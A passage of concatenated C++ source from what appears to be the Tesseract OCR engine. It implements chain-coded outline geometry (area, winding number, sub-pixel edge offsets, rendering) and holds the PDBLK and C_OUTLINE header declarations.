* Compute the area of the outline.
**********************************************************************/
inT32 C_OUTLINE::area() const {
int stepindex; //current step
inT32 total_steps; //steps to do
inT32 total; //total area
ICOORD pos; //position of point
ICOORD next_step; //step to next pix
// We aren't going to modify the list, or its contents, but there is
// no const iterator.
C_OUTLINE_IT it(const_cast<C_OUTLINE_LIST*>(&children));
pos = start_pos ();
total_steps = pathlength ();
total = 0;
for (stepindex = 0; stepindex < total_steps; stepindex++) {
//all intersected
next_step = step (stepindex);
if (next_step.x () < 0)
total += pos.y ();
else if (next_step.x () > 0)
total -= pos.y ();
pos += next_step;
}
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ())
total += it.data ()->area ();//add areas of children
return total;
}
/**********************************************************************
* C_OUTLINE::perimeter
*
* Compute the perimeter of the outline and its first level children.
**********************************************************************/
inT32 C_OUTLINE::perimeter() const {
inT32 total_steps; // Return value.
// We aren't going to modify the list, or its contents, but there is
// no const iterator.
C_OUTLINE_IT it(const_cast<C_OUTLINE_LIST*>(&children));
total_steps = pathlength();
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward())
total_steps += it.data()->pathlength(); // Add perimeters of children.
return total_steps;
}
/**********************************************************************
* C_OUTLINE::outer_area
*
* Compute the area of the outline.
**********************************************************************/
inT32 C_OUTLINE::outer_area() const {
int stepindex; //current step
inT32 total_steps; //steps to do
inT32 total; //total area
ICOORD pos; //position of point
ICOORD next_step; //step to next pix
pos = start_pos ();
total_steps = pathlength ();
if (total_steps == 0)
return box.area();
total = 0;
for (stepindex = 0; stepindex < total_steps; stepindex++) {
//all intersected
next_step = step (stepindex);
if (next_step.x () < 0)
total += pos.y ();
else if (next_step.x () > 0)
total -= pos.y ();
pos += next_step;
}
return total;
}
/**********************************************************************
* C_OUTLINE::count_transitions
*
* Compute the number of x and y maxes and mins in the outline.
**********************************************************************/
inT32 C_OUTLINE::count_transitions( //winding number
inT32 threshold //on size
) {
BOOL8 first_was_max_x; //what was first
BOOL8 first_was_max_y;
BOOL8 looking_for_max_x; //what is next
BOOL8 looking_for_min_x;
BOOL8 looking_for_max_y; //what is next
BOOL8 looking_for_min_y;
int stepindex; //current step
inT32 total_steps; //steps to do
//current limits
inT32 max_x, min_x, max_y, min_y;
inT32 initial_x, initial_y; //initial limits
inT32 total; //total changes
ICOORD pos; //position of point
ICOORD next_step; //step to next pix
pos = start_pos ();
total_steps = pathlength ();
total = 0;
max_x = min_x = pos.x ();
max_y = min_y = pos.y ();
looking_for_max_x = TRUE;
looking_for_min_x = TRUE;
looking_for_max_y = TRUE;
looking_for_min_y = TRUE;
first_was_max_x = FALSE;
first_was_max_y = FALSE;
initial_x = pos.x ();
initial_y = pos.y (); //stop uninit warning
for (stepindex = 0; stepindex < total_steps; stepindex++) {
//all intersected
next_step = step (stepindex);
pos += next_step;
if (next_step.x () < 0) {
if (looking_for_max_x && pos.x () < min_x)
min_x = pos.x ();
if (looking_for_min_x && max_x - pos.x () > threshold) {
if (looking_for_max_x) {
initial_x = max_x;
first_was_max_x = FALSE;
}
total++;
looking_for_max_x = TRUE;
looking_for_min_x = FALSE;
min_x = pos.x (); //reset min
}
}
else if (next_step.x () > 0) {
if (looking_for_min_x && pos.x () > max_x)
max_x = pos.x ();
if (looking_for_max_x && pos.x () - min_x > threshold) {
if (looking_for_min_x) {
initial_x = min_x; //remember first min
first_was_max_x = TRUE;
}
total++;
looking_for_max_x = FALSE;
looking_for_min_x = TRUE;
max_x = pos.x ();
}
}
else if (next_step.y () < 0) {
if (looking_for_max_y && pos.y () < min_y)
min_y = pos.y ();
if (looking_for_min_y && max_y - pos.y () > threshold) {
if (looking_for_max_y) {
initial_y = max_y; //remember first max
first_was_max_y = FALSE;
}
total++;
looking_for_max_y = TRUE;
looking_for_min_y = FALSE;
min_y = pos.y (); //reset min
}
}
else {
if (looking_for_min_y && pos.y () > max_y)
max_y = pos.y ();
if (looking_for_max_y && pos.y () - min_y > threshold) {
if (looking_for_min_y) {
initial_y = min_y; //remember first min
first_was_max_y = TRUE;
}
total++;
looking_for_max_y = FALSE;
looking_for_min_y = TRUE;
max_y = pos.y ();
}
}
}
if (first_was_max_x && looking_for_min_x) {
if (max_x - initial_x > threshold)
total++;
else
total--;
}
else if (!first_was_max_x && looking_for_max_x) {
if (initial_x - min_x > threshold)
total++;
else
total--;
}
if (first_was_max_y && looking_for_min_y) {
if (max_y - initial_y > threshold)
total++;
else
total--;
}
else if (!first_was_max_y && looking_for_max_y) {
if (initial_y - min_y > threshold)
total++;
else
total--;
}
return total;
}
/**********************************************************************
* C_OUTLINE::operator<
*
* Return TRUE if the left operand is inside the right one.
**********************************************************************/
BOOL8
C_OUTLINE::operator< ( //winding number
const C_OUTLINE & other //other outline
) const
{
inT16 count = 0; //winding count
ICOORD pos; //position of point
inT32 stepindex; //index to cstep
if (!box.overlap (other.box))
return FALSE; //can't be contained
if (stepcount == 0)
return other.box.contains(this->box);
pos = start;
for (stepindex = 0; stepindex < stepcount
&& (count = other.winding_number (pos)) == INTERSECTING; stepindex++)
pos += step (stepindex); //try all points
if (count == INTERSECTING) {
//all intersected
pos = other.start;
for (stepindex = 0; stepindex < other.stepcount
&& (count = winding_number (pos)) == INTERSECTING; stepindex++)
//try other way round
pos += other.step (stepindex);
return count == INTERSECTING || count == 0;
}
return count != 0;
}
/**********************************************************************
* C_OUTLINE::winding_number
*
* Return the winding number of the outline around the given point.
**********************************************************************/
inT16 C_OUTLINE::winding_number( //winding number
ICOORD point //point to wind around
) const {
inT16 stepindex; //index to cstep
inT16 count; //winding count
ICOORD vec; //to current point
ICOORD stepvec; //step vector
inT32 cross; //cross product
vec = start - point; //vector to it
count = 0;
for (stepindex = 0; stepindex < stepcount; stepindex++) {
stepvec = step (stepindex); //get the step
//crossing the line
if (vec.y () <= 0 && vec.y () + stepvec.y () > 0) {
cross = vec * stepvec; //cross product
if (cross > 0)
count++; //crossing right half
else if (cross == 0)
return INTERSECTING; //going through point
}
else if (vec.y () > 0 && vec.y () + stepvec.y () <= 0) {
cross = vec * stepvec;
if (cross < 0)
count--; //crossing back
else if (cross == 0)
return INTERSECTING; //illegal
}
vec += stepvec; //sum vectors
}
return count; //winding number
}
/**********************************************************************
* C_OUTLINE::turn_direction
*
* Return the sum direction delta of the outline.
**********************************************************************/
inT16 C_OUTLINE::turn_direction() const { //winding number
DIR128 prevdir; //previous direction
DIR128 dir; //current direction
inT16 stepindex; //index to cstep
inT8 dirdiff; //direction difference
inT16 count; //winding count
if (stepcount == 0)
return 128;
count = 0;
prevdir = step_dir (stepcount - 1);
for (stepindex = 0; stepindex < stepcount; stepindex++) {
dir = step_dir (stepindex);
dirdiff = dir - prevdir;
ASSERT_HOST (dirdiff == 0 || dirdiff == 32 || dirdiff == -32);
count += dirdiff;
prevdir = dir;
}
ASSERT_HOST (count == 128 || count == -128);
return count; //winding number
}
/**********************************************************************
* C_OUTLINE::reverse
*
* Reverse the direction of an outline.
**********************************************************************/
void C_OUTLINE::reverse() { //reverse drection
DIR128 halfturn = MODULUS / 2; //amount to shift
DIR128 stepdir; //direction of step
inT16 stepindex; //index to cstep
inT16 farindex; //index to other side
inT16 halfsteps; //half of stepcount
halfsteps = (stepcount + 1) / 2;
for (stepindex = 0; stepindex < halfsteps; stepindex++) {
farindex = stepcount - stepindex - 1;
stepdir = step_dir (stepindex);
set_step (stepindex, step_dir (farindex) + halfturn);
set_step (farindex, stepdir + halfturn);
}
}
/**********************************************************************
* C_OUTLINE::move
*
* Move C_OUTLINE by vector
**********************************************************************/
void C_OUTLINE::move( // reposition OUTLINE
const ICOORD vec // by vector
) {
C_OUTLINE_IT it(&children); // iterator
box.move (vec);
start += vec;
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ())
it.data ()->move (vec); // move child outlines
}
// Returns true if *this and its children are legally nested.
// The outer area of a child should have the opposite sign to the
// parent. If not, it means we have discarded an outline in between
// (probably due to excessive length).
bool C_OUTLINE::IsLegallyNested() const {
if (stepcount == 0) return true;
int parent_area = outer_area();
// We aren't going to modify the list, or its contents, but there is
// no const iterator.
C_OUTLINE_IT child_it(const_cast<C_OUTLINE_LIST*>(&children));
for (child_it.mark_cycle_pt(); !child_it.cycled_list(); child_it.forward()) {
const C_OUTLINE* child = child_it.data();
if (child->outer_area() * parent_area > 0 || !child->IsLegallyNested())
return false;
}
return true;
}
// If this outline is smaller than the given min_size, delete this and
// remove from its list, via *it, after checking that *it points to this.
// Otherwise, if any children of this are too small, delete them.
// On entry, *it must be an iterator pointing to this. If this gets deleted
// then this is extracted from *it, so an iteration can continue.
void C_OUTLINE::RemoveSmallRecursive(int min_size, C_OUTLINE_IT* it) {
if (box.width() < min_size || box.height() < min_size) {
ASSERT_HOST(this == it->data());
delete it->extract(); // Too small so get rid of it and any children.
} else if (!children.empty()) {
// Search the children of this, deleting any that are too small.
C_OUTLINE_IT child_it(&children);
for (child_it.mark_cycle_pt(); !child_it.cycled_list();
child_it.forward()) {
C_OUTLINE* child = child_it.data();
child->RemoveSmallRecursive(min_size, &child_it);
}
}
}
// Factored out helpers below are used only by ComputeEdgeOffsets to operate
// on data from an 8-bit Pix, and assume that any input x and/or y are already
// constrained to be legal Pix coordinates.
// Helper computes the local 2-D gradient (dx, dy) from the 2x2 cell centered
// on the given (x,y). If the cell would go outside the image, it is padded
// with white.
static void ComputeGradient(const l_uint32* data, int wpl,
int x, int y, int width, int height,
ICOORD* gradient) {
const l_uint32* line = data + y * wpl;
int pix_x_y = x < width && y < height ?
GET_DATA_BYTE(const_cast<void*> (reinterpret_cast<const void *>(line)), x) : 255;
int pix_x_prevy = x < width && y > 0 ?
GET_DATA_BYTE(const_cast<void*> (reinterpret_cast<const void *>(line - wpl)), x) : 255;
int pix_prevx_prevy = x > 0 && y > 0 ?
GET_DATA_BYTE(const_cast<void*> (reinterpret_cast<void const*>(line - wpl)), x - 1) : 255;
int pix_prevx_y = x > 0 && y < height ?
GET_DATA_BYTE(const_cast<void*> (reinterpret_cast<const void *>(line)), x - 1) : 255;
gradient->set_x(pix_x_y + pix_x_prevy - (pix_prevx_y + pix_prevx_prevy));
gradient->set_y(pix_x_prevy + pix_prevx_prevy - (pix_x_y + pix_prevx_y));
}
// Helper evaluates a vertical difference, (x,y) - (x,y-1), returning true if
// the difference, matches diff_sign and updating the best_diff, best_sum,
// best_y if a new max.
static bool EvaluateVerticalDiff(const l_uint32* data, int wpl, int diff_sign,
int x, int y, int height,
int* best_diff, int* best_sum, int* best_y) {
if (y <= 0 || y >= height)
return false;
const l_uint32* line = data + y * wpl;
int pixel1 = GET_DATA_BYTE(const_cast<void*> (reinterpret_cast<const void *>(line - wpl)), x);
int pixel2 = GET_DATA_BYTE(const_cast<void*> (reinterpret_cast<const void *>(line)), x);
int diff = (pixel2 - pixel1) * diff_sign;
if (diff > *best_diff) {
*best_diff = diff;
*best_sum = pixel1 + pixel2;
*best_y = y;
}
return diff > 0;
}
// Helper evaluates a horizontal difference, (x,y) - (x-1,y), where y is implied
// by the input image line, returning true if the difference matches diff_sign
// and updating the best_diff, best_sum, best_x if a new max.
static bool EvaluateHorizontalDiff(const l_uint32* line, int diff_sign,
int x, int width,
int* best_diff, int* best_sum, int* best_x) {
if (x <= 0 || x >= width)
return false;
int pixel1 = GET_DATA_BYTE(const_cast<void*> (reinterpret_cast<const void *>(line)), x - 1);
int pixel2 = GET_DATA_BYTE(const_cast<void*> (reinterpret_cast<const void *>(line)), x);
int diff = (pixel2 - pixel1) * diff_sign;
if (diff > *best_diff) {
*best_diff = diff;
*best_sum = pixel1 + pixel2;
*best_x = x;
}
return diff > 0;
}
// Adds sub-pixel resolution EdgeOffsets for the outline if the supplied
// pix is 8-bit. Does nothing otherwise.
// Operation: Consider the following near-horizontal line:
// _________
// |________
// |________
// At *every* position along this line, the gradient direction will be close
// to vertical. Extrapoaltion/interpolation of the position of the threshold
// that was used to binarize the image gives a more precise vertical position
// for each horizontal step, and the conflict in step direction and gradient
// direction can be used to ignore the vertical steps.
void C_OUTLINE::ComputeEdgeOffsets(int threshold, Pix* pix) {
if (pixGetDepth(pix) != 8) return;
const l_uint32* data = pixGetData(pix);
int wpl = pixGetWpl(pix);
int width = pixGetWidth(pix);
int height = pixGetHeight(pix);
bool negative = flag(COUT_INVERSE);
delete [] offsets;
offsets = new EdgeOffset[stepcount];
ICOORD pos = start;
ICOORD prev_gradient;
ComputeGradient(data, wpl, pos.x(), height - pos.y(), width, height,
&prev_gradient);
for (int s = 0; s < stepcount; ++s) {
ICOORD step_vec = step(s);
TPOINT pt1(pos);
pos += step_vec;
TPOINT pt2(pos);
ICOORD next_gradient;
ComputeGradient(data, wpl, pos.x(), height - pos.y(), width, height,
&next_gradient);
// Use the sum of the prev and next as the working gradient.
ICOORD gradient = prev_gradient + next_gradient;
// best_diff will be manipulated to be always positive.
int best_diff = 0;
// offset will be the extrapolation of the location of the greyscale
// threshold from the edge with the largest difference, relative to the
// location of the binary edge.
int offset = 0;
if (pt1.y == pt2.y && abs(gradient.y()) * 2 >= abs(gradient.x())) {
// Horizontal step. diff_sign == 1 indicates black above.
int diff_sign = (pt1.x > pt2.x) == negative ? 1 : -1;
int x = MIN(pt1.x, pt2.x);
int y = height - pt1.y;
int best_sum = 0;
int best_y = y;
EvaluateVerticalDiff(data, wpl, diff_sign, x, y, height,
&best_diff, &best_sum, &best_y);
// Find the strongest edge.
int test_y = y;
do {
++test_y;
} while (EvaluateVerticalDiff(data, wpl, diff_sign, x, test_y, height,
&best_diff, &best_sum, &best_y));
test_y = y;
do {
--test_y;
} while (EvaluateVerticalDiff(data, wpl, diff_sign, x, test_y, height,
&best_diff, &best_sum, &best_y));
offset = diff_sign * (best_sum / 2 - threshold) +
(y - best_y) * best_diff;
} else if (pt1.x == pt2.x && abs(gradient.x()) * 2 >= abs(gradient.y())) {
// Vertical step. diff_sign == 1 indicates black on the left.
int diff_sign = (pt1.y > pt2.y) == negative ? 1 : -1;
int x = pt1.x;
int y = height - MAX(pt1.y, pt2.y);
const l_uint32* line = pixGetData(pix) + y * wpl;
int best_sum = 0;
int best_x = x;
EvaluateHorizontalDiff(line, diff_sign, x, width,
&best_diff, &best_sum, &best_x);
// Find the strongest edge.
int test_x = x;
do {
++test_x;
} while (EvaluateHorizontalDiff(line, diff_sign, test_x, width,
&best_diff, &best_sum, &best_x));
test_x = x;
do {
--test_x;
} while (EvaluateHorizontalDiff(line, diff_sign, test_x, width,
&best_diff, &best_sum, &best_x));
offset = diff_sign * (threshold - best_sum / 2) +
(best_x - x) * best_diff;
}
offsets[s].offset_numerator =
static_cast<inT8>(ClipToRange(offset, -MAX_INT8, MAX_INT8));
offsets[s].pixel_diff = static_cast<uinT8>(ClipToRange(best_diff, 0 ,
MAX_UINT8));
if (negative) gradient = -gradient;
// Compute gradient angle quantized to 256 directions, rotated by 64 (pi/2)
// to convert from gradient direction to edge direction.
offsets[s].direction =
Modulo(FCOORD::binary_angle_plus_pi(gradient.angle()) + 64, 256);
prev_gradient = next_gradient;
}
}
// Adds sub-pixel resolution EdgeOffsets for the outline using only
// a binary image source.
// Runs a sliding window of 5 edge steps over the outline, maintaining a count
// of the number of steps in each of the 4 directions in the window, and a
// sum of the x or y position of each step (as appropriate to its direction.)
// Ignores single-count steps EXCEPT the sharp U-turn and smoothes out the
// perpendicular direction. Eg
// ___ ___ Chain code from the left:
// |___ ___ ___| 222122212223221232223000
// |___| |_| Corresponding counts of each direction:
// 0 00000000000000000123
// 1 11121111001111100000
// 2 44434443443333343321
// 3 00000001111111112111
// Count of direction at center 41434143413313143313
// Step gets used? YNYYYNYYYNYYNYNYYYyY (y= U-turn exception)
// Path redrawn showing only the used points:
// ___ ___
// ___ ___ ___|
// ___ _
// Sub-pixel edge position cannot be shown well with ASCII-art, but each
// horizontal step's y position is the mean of the y positions of the steps
// in the same direction in the sliding window, which makes a much smoother
// outline, without losing important detail.
void C_OUTLINE::ComputeBinaryOffsets() {
delete [] offsets;
offsets = new EdgeOffset[stepcount];
// Count of the number of steps in each direction in the sliding window.
int dir_counts[4];
// Sum of the positions (y for a horizontal step, x for vertical) in each
// direction in the sliding window.
int pos_totals[4];
memset(dir_counts, 0, sizeof(dir_counts));
memset(pos_totals, 0, sizeof(pos_totals));
ICOORD pos = start;
ICOORD tail_pos = pos;
// tail_pos is the trailing position, with the next point to be lost from
// the window.
tail_pos -= step(stepcount - 1);
tail_pos -= step(stepcount - 2);
// head_pos is the leading position, with the next point to be added to the
// window.
ICOORD head_pos = tail_pos;
// Set up the initial window with 4 points in [-2, 2)
for (int s = -2; s < 2; ++s) {
increment_step(s, 1, &head_pos, dir_counts, pos_totals);
}
for (int s = 0; s < stepcount; pos += step(s++)) {
// At step s, s in in the middle of [s-2, s+2].
increment_step(s + 2, 1, &head_pos, dir_counts, pos_totals);
int dir_index = chain_code(s);
ICOORD step_vec = step(s);
int best_diff = 0;
int offset = 0;
// Use only steps that have a count of >=2 OR the strong U-turn with a
// single d and 2 at d-1 and 2 at d+1 (mod 4).
if (dir_counts[dir_index] >= 2 || (dir_counts[dir_index] == 1 &&
dir_counts[Modulo(dir_index - 1, 4)] == 2 &&
dir_counts[Modulo(dir_index + 1, 4)] == 2)) {
// Valid step direction.
best_diff = dir_counts[dir_index];
int edge_pos = step_vec.x() == 0 ? pos.x() : pos.y();
// The offset proposes that the actual step should be positioned at
// the mean position of the steps in the window of the same direction.
// See ASCII art above.
offset = pos_totals[dir_index] - best_diff * edge_pos;
}
offsets[s].offset_numerator =
static_cast<inT8>(ClipToRange(offset, -MAX_INT8, MAX_INT8));
offsets[s].pixel_diff = static_cast<uinT8>(ClipToRange(best_diff, 0 ,
MAX_UINT8));
// The direction is just the vector from start to end of the window.
FCOORD direction(head_pos.x() - tail_pos.x(), head_pos.y() - tail_pos.y());
offsets[s].direction = direction.to_direction();
increment_step(s - 2, -1, &tail_pos, dir_counts, pos_totals);
}
}
// Renders the outline to the given pix, with left and top being
// the coords of the upper-left corner of the pix.
void C_OUTLINE::render(int left, int top, Pix* pix) const {
ICOORD pos = start;
for (int stepindex = 0; stepindex < stepcount; ++stepindex) {
ICOORD next_step = step(stepindex);
if (next_step.y() < 0) {
pixRasterop(pix, 0, top - pos.y(), pos.x() - left, 1,
PIX_NOT(PIX_DST), NULL, 0, 0);
} else if (next_step.y() > 0) {
pixRasterop(pix, 0, top - pos.y() - 1, pos.x() - left, 1,
PIX_NOT(PIX_DST), NULL, 0, 0);
}
pos += next_step;
}
}
// Renders just the outline to the given pix (no fill), with left and top
// being the coords of the upper-left corner of the pix.
void C_OUTLINE::render_outline(int left, int top, Pix* pix) const {
ICOORD pos = start;
for (int stepindex = 0; stepindex < stepcount; ++stepindex) {
ICOORD next_step = step(stepindex);
if (next_step.y() < 0) {
pixSetPixel(pix, pos.x() - left, top - pos.y(), 1);
} else if (next_step.y() > 0) {
pixSetPixel(pix, pos.x() - left - 1, top - pos.y() - 1, 1);
} else if (next_step.x() < 0) {
pixSetPixel(pix, pos.x() - left - 1, top - pos.y(), 1);
} else if (next_step.x() > 0) {
pixSetPixel(pix, pos.x() - left, top - pos.y() - 1, 1);
}
pos += next_step;
}
}
/**********************************************************************
* C_OUTLINE::plot
*
* Draw the outline in the given colour.
**********************************************************************/
#ifndef GRAPHICS_DISABLED
void C_OUTLINE::plot( //draw it
ScrollView* window, // window to draw in
ScrollView::Color colour // colour to draw in
) const {
inT16 stepindex; // index to cstep
ICOORD pos; // current position
DIR128 stepdir; // direction of step
pos = start; // current position
window->Pen(colour);
if (stepcount == 0) {
window->Rectangle(box.left(), box.top(), box.right(), box.bottom());
return;
}
window->SetCursor(pos.x(), pos.y());
stepindex = 0;
while (stepindex < stepcount) {
pos += step(stepindex); // step to next
stepdir = step_dir(stepindex);
stepindex++; // count steps
// merge straight lines
while (stepindex < stepcount &&
stepdir.get_dir() == step_dir(stepindex).get_dir()) {
pos += step(stepindex);
stepindex++;
}
window->DrawTo(pos.x(), pos.y());
}
}
// Draws the outline in the given colour, normalized using the given denorm,
// making use of sub-pixel accurate information if available.
void C_OUTLINE::plot_normed(const DENORM& denorm, ScrollView::Color colour,
ScrollView* window) const {
window->Pen(colour);
if (stepcount == 0) {
window->Rectangle(box.left(), box.top(), box.right(), box.bottom());
return;
}
const DENORM* root_denorm = denorm.RootDenorm();
ICOORD pos = start; // current position
FCOORD f_pos = sub_pixel_pos_at_index(pos, 0);
FCOORD pos_normed;
denorm.NormTransform(root_denorm, f_pos, &pos_normed);
window->SetCursor(IntCastRounded(pos_normed.x()),
IntCastRounded(pos_normed.y()));
for (int s = 0; s < stepcount; pos += step(s++)) {
int edge_weight = edge_strength_at_index(s);
if (edge_weight == 0) {
// This point has conflicting gradient and step direction, so ignore it.
continue;
}
FCOORD f_pos = sub_pixel_pos_at_index(pos, s);
FCOORD pos_normed;
denorm.NormTransform(root_denorm, f_pos, &pos_normed);
window->DrawTo(IntCastRounded(pos_normed.x()),
IntCastRounded(pos_normed.y()));
}
}
#endif
/**********************************************************************
* C_OUTLINE::operator=
*
* Assignment - deep copy data
**********************************************************************/
//assignment
C_OUTLINE & C_OUTLINE::operator= (
const C_OUTLINE & source //from this
) {
box = source.box;
start = source.start;
if (steps != NULL)
free_mem(steps);
stepcount = source.stepcount;
steps = (uinT8 *) alloc_mem (step_mem());
memmove (steps, source.steps, step_mem());
if (!children.empty ())
children.clear ();
children.deep_copy(&source.children, &deep_copy);
delete [] offsets;
if (source.offsets != NULL) {
offsets = new EdgeOffset[stepcount];
memcpy(offsets, source.offsets, stepcount * sizeof(*offsets));
} else {
offsets = NULL;
}
return *this;
}
// Helper for ComputeBinaryOffsets. Increments pos, dir_counts, pos_totals
// by the step, increment, and vertical step ? x : y position * increment
// at step s Mod stepcount respectively. Used to add or subtract the
// direction and position to/from accumulators of a small neighbourhood.
void C_OUTLINE::increment_step(int s, int increment, ICOORD* pos,
int* dir_counts, int* pos_totals) const {
int step_index = Modulo(s, stepcount);
int dir_index = chain_code(step_index);
dir_counts[dir_index] += increment;
ICOORD step_vec = step(step_index);
if (step_vec.x() == 0)
pos_totals[dir_index] += pos->x() * increment;
else
pos_totals[dir_index] += pos->y() * increment;
*pos += step_vec;
}
ICOORD C_OUTLINE::chain_step(int chaindir) {
return step_coords[chaindir % 4];
}
| C++ |
/**********************************************************************
* File: pdblock.h (Formerly pdblk.h)
* Description: Page block class definition.
* Author: Ray Smith
* Created: Thu Mar 14 17:32:01 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef PDBLOCK_H
#define PDBLOCK_H
#include "clst.h"
#include "strngs.h"
#include "polyblk.h"
class DLLSYM PDBLK; //forward decl
struct Pix;
CLISTIZEH (PDBLK)
///page block
class PDBLK
{
friend class BLOCK_RECT_IT; //< block iterator
public:
///empty constructor
PDBLK() {
hand_poly = NULL;
index_ = 0;
}
///simple constructor
PDBLK(inT16 xmin, //< bottom left
inT16 ymin,
inT16 xmax, //< top right
inT16 ymax);
///set vertex lists
///@param left list of left vertices
///@param right list of right vertices
void set_sides(ICOORDELT_LIST *left,
ICOORDELT_LIST *right);
///destructor
~PDBLK () {
if (hand_poly) delete hand_poly;
}
POLY_BLOCK *poly_block() const {
return hand_poly;
}
///set the poly block
void set_poly_block(POLY_BLOCK *blk) {
hand_poly = blk;
}
///get box
void bounding_box(ICOORD &bottom_left, //bottom left
ICOORD &top_right) const { //topright
bottom_left = box.botleft ();
top_right = box.topright ();
}
///get real box
const TBOX &bounding_box() const {
return box;
}
int index() const {
return index_;
}
void set_index(int value) {
index_ = value;
}
///is pt inside block
BOOL8 contains(ICOORD pt);
/// reposition block
void move(const ICOORD vec); // by vector
// Returns a binary Pix mask with a 1 pixel for every pixel within the
// block. Rotates the coordinate system by rerotation prior to rendering.
Pix* render_mask(const FCOORD& rerotation);
#ifndef GRAPHICS_DISABLED
///draw histogram
///@param window window to draw in
///@param serial serial number
///@param colour colour to draw in
void plot(ScrollView* window,
inT32 serial,
ScrollView::Color colour);
#endif // GRAPHICS_DISABLED
///assignment
///@param source from this
PDBLK & operator= (const PDBLK & source);
protected:
POLY_BLOCK *hand_poly; //< wierd as well
ICOORDELT_LIST leftside; //< left side vertices
ICOORDELT_LIST rightside; //< right side vertices
TBOX box; //< bounding box
int index_; //< Serial number of this block.
};
class DLLSYM BLOCK_RECT_IT //rectangle iterator
{
public:
///constructor
///@param blkptr block to iterate
BLOCK_RECT_IT(PDBLK *blkptr);
///start (new) block
void set_to_block (
PDBLK * blkptr); //block to iterate
///start iteration
void start_block();
///next rectangle
void forward();
///test end
BOOL8 cycled_rects() {
return left_it.cycled_list () && right_it.cycled_list ();
}
///current rectangle
///@param bleft bottom left
///@param tright top right
void bounding_box(ICOORD &bleft,
ICOORD &tright) {
//bottom left
bleft = ICOORD (left_it.data ()->x (), ymin);
//top right
tright = ICOORD (right_it.data ()->x (), ymax);
}
private:
inT16 ymin; //< bottom of rectangle
inT16 ymax; //< top of rectangle
PDBLK *block; //< block to iterate
ICOORDELT_IT left_it; //< boundary iterators
ICOORDELT_IT right_it;
};
///rectangle iterator
class DLLSYM BLOCK_LINE_IT
{
public:
///constructor
///@param blkptr from block
BLOCK_LINE_IT (PDBLK * blkptr)
:rect_it (blkptr) {
block = blkptr; //remember block
}
///start (new) block
///@param blkptr block to start
void set_to_block (PDBLK * blkptr) {
block = blkptr; //remember block
//set iterator
rect_it.set_to_block (blkptr);
}
///get a line
///@param y line to get
///@param xext output extent
inT16 get_line(inT16 y,
inT16 &xext);
private:
PDBLK * block; //< block to iterate
BLOCK_RECT_IT rect_it; //< rectangle iterator
};
int decreasing_top_order(const void *row1,
const void *row2);
#endif
| C++ |
/**********************************************************************
* File: coutln.c (Formerly: coutline.c)
* Description: Code for the C_OUTLINE class.
* Author: Ray Smith
* Created: Mon Oct 07 16:01:57 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef COUTLN_H
#define COUTLN_H
#include "crakedge.h"
#include "mod128.h"
#include "bits16.h"
#include "rect.h"
#include "blckerr.h"
#include "scrollview.h"
class DENORM;
#define INTERSECTING MAX_INT16//no winding number
//mask to get step
#define STEP_MASK 3
enum C_OUTLINE_FLAGS
{
COUT_INVERSE //White on black blob
};
// Simple struct to hold the 3 values needed to compute a more precise edge
// position and direction. The offset_numerator is the difference between the
// grey threshold and the mean pixel value. pixel_diff is the difference between
// the pixels in the edge. Consider the following row of pixels: p1 p2 p3 p4 p5
// Say the image was thresholded at threshold t, making p1, p2, p3 black
// and p4, p5 white (p1, p2, p3 < t, and p4, p5 >= t), but suppose that
// max(p[i+1] - p[i]) is p3 - p2. Then the extrapolated position of the edge,
// based on the maximum gradient, is at the crack between p2 and p3 plus the
// offset (t - (p2+p3)/2)/(p3 - p2). We store the pixel difference p3-p2
// denominator in pixel_diff and the offset numerator, relative to the original
// binary edge (t - (p2+p3)/2) - (p3 -p2) in offset_numerator.
// The sign of offset_numerator and pixel_diff are manipulated to ensure
// that the pixel_diff, which will be used as a weight, is always positive.
// The direction stores the quantized feature direction for the given step
// computed from the edge gradient. (Using binary_angle_plus_pi.)
// If the pixel_diff is zero, it means that the direction of the gradient
// is in conflict with the step direction, so this step is to be ignored.
struct EdgeOffset {
inT8 offset_numerator;
uinT8 pixel_diff;
uinT8 direction;
};
class DLLSYM C_OUTLINE; //forward declaration
struct Pix;
ELISTIZEH (C_OUTLINE)
class DLLSYM C_OUTLINE:public ELIST_LINK {
public:
C_OUTLINE() { //empty constructor
steps = NULL;
offsets = NULL;
}
C_OUTLINE( //constructor
CRACKEDGE *startpt, //from edge detector
ICOORD bot_left, //bounding box //length of loop
ICOORD top_right,
inT16 length);
C_OUTLINE(ICOORD startpt, //start of loop
DIR128 *new_steps, //steps in loop
inT16 length); //length of loop
//outline to copy
C_OUTLINE(C_OUTLINE *srcline, FCOORD rotation); //and rotate
// Build a fake outline, given just a bounding box and append to the list.
static void FakeOutline(const TBOX& box, C_OUTLINE_LIST* outlines);
~C_OUTLINE () { //destructor
if (steps != NULL)
free_mem(steps);
steps = NULL;
delete [] offsets;
}
BOOL8 flag( //test flag
C_OUTLINE_FLAGS mask) const { //flag to test
return flags.bit (mask);
}
void set_flag( //set flag value
C_OUTLINE_FLAGS mask, //flag to test
BOOL8 value) { //value to set
flags.set_bit (mask, value);
}
C_OUTLINE_LIST *child() { //get child list
return &children;
}
//access function
const TBOX &bounding_box() const {
return box;
}
void set_step( //set a step
inT16 stepindex, //index of step
inT8 stepdir) { //chain code
int shift = stepindex%4 * 2;
uinT8 mask = 3 << shift;
steps[stepindex/4] = ((stepdir << shift) & mask) |
(steps[stepindex/4] & ~mask);
//squeeze 4 into byte
}
void set_step( //set a step
inT16 stepindex, //index of step
DIR128 stepdir) { //direction
//clean it
inT8 chaindir = stepdir.get_dir() >> (DIRBITS - 2);
//difference
set_step(stepindex, chaindir);
//squeeze 4 into byte
}
